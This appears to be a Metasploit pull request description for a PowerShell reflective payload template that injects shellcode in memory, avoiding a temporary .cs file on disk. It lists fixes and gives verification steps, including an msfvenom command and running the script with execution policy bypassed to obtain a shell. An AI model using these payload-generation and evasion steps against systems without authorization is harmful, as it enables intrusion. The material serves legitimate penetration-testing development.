Powershell Reflective Payload

This is update of @shellster's https://github.com/rapid7/metasploit-framework/pull/2307

The Powershell Reflection Template uses slightly different techniques to inject the shellcode which prevents the creation of a temporary .cs file in the %TEMP% dir. Presumably Powershell is using the .NET compiler on the .NET payload.


## Updates
The shellcode length was being passed in flAllocationType instead of dwSize (which was set to 0x1000). This is now corrected.
We base64 encode the payload instead of encoding it as a Powershell byte array to save some filesize.
We  use the RandomIdentifierGenerator to generate the variables in the template.
We use the Copy method instead of looping over memset
Added a WaitForSingleObject similar to the .NET template which prevents the process from exiting. Without this you have to run powershell -noexit or you would never get a shell if executed from the commandline.
Have added PowerSploit license to LICENSE.

## Verification
Run Procmon with a filter on ``` path contains .cs ```
Set up multi/handler
msfvenom -p payload -f psh-reflection LHOST=blah > out.ps1
powershell -ep bypass -file out.ps1

- [x] Injects x86 payloads from SYSWOW64 powershell
- [x] Injects x64 payloads from SYSNATIVE powershell
- [x] No .cs files should be listed